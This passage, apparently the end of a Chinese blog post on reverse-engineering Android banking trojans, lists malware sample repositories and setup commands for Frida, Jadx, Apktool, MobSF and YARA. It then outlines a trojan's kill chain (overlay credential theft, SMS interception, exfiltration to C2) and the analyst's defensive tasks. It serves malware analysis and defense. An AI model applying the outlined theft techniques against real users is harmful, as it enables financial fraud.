URLhaus恶意 URL 数据库查询和提交恶意 URL
Bazaar (abuse.ch)恶意软件样本库下载和查询恶意样本

推荐分析环境搭建

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 1. 安装 Python 工具
pip install frida-tools objection apkid mobsf yara-python

# 2. 安装 Jadx
wget https://github.com/skylot/jadx/releases/latest/download/jadx-x.x.x.zip
unzip jadx-*.zip -d /opt/jadx

# 3. 安装 APKTool
wget https://github.com/iBotPeaches/Apktool/releases/latest/download/apktool_x.x.x.jar
mv apktool_*.jar /usr/local/bin/apktool.jar

# 4. 部署 MobSF (Docker)
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf

# 5. 准备 Frida Server
wget https://github.com/frida/frida/releases/latest/download/frida-server-x.x.x-android-arm64.xz
unxz frida-server-*.xz
adb push frida-server-*-android-arm64 /data/local/tmp/frida-server
adb shell "chmod 755 /data/local/tmp/frida-server"

# 6. 安装 YARA
brew install yara    # macOS
# apt install yara   # Linux

总结

分析银行木马的关键在于理解其攻击链 (Kill Chain)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
┌─────────────────────────────────────────────────────────────┐
│              银行木马攻击链 (Kill Chain)                      │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. Infection (感染)                                        │
│     └──> 钓鱼短信/恶意网站 诱导安装                          │
│                                                             │
│  2. Persistence (持久化)                                    │
│     └──> 无障碍权限 + 设备管理器 + 开机自启 + 保活           │
│                                                             │
│  3. Stealing (窃取)                                         │
│     └──> 覆盖攻击窃取凭证 + 短信拦截 + 键盘记录             │
│                                                             │
│  4. Exfiltration (回传)                                     │
│     └──> 加密数据通过 HTTPS/Telegram 回传 C2                │
│                                                             │
│  5. Control (控制)                                          │
│     └──> C2 下发指令:更新覆盖页面、自我销毁、远程控制       │
│                                                             │
└─────────────────────────────────────────────────────────────┘

逆向工程师的任务是阻断这一链条

  • 提取 IOC - C2 域名、IP、文件 Hash、加密密钥
  • 编写检测规则 - YARA 规则、网络签名 (Snort/Suricata)
  • 协助查杀 - 提供特征给安全厂商更新病毒库
  • 溯源分析 - 通过代码风格、基础设施关联攻击者
  • 漏洞修补 - 向银行 App 开发团队通报覆盖攻击风险

提示: 恶意软件分析是一个持续对抗的过程。攻击者不断更新技术手段(从 Java 层转向 Native 层,从 HTTP 转向 Telegram/Firebase,从单一功能转向模块化架构),分析师也需要持续跟踪最新的攻击技术和防御策略。


相关内容

如果这篇文章对你有帮助,请我喝杯咖啡吧~
+5 支付宝支付宝
+5 微信微信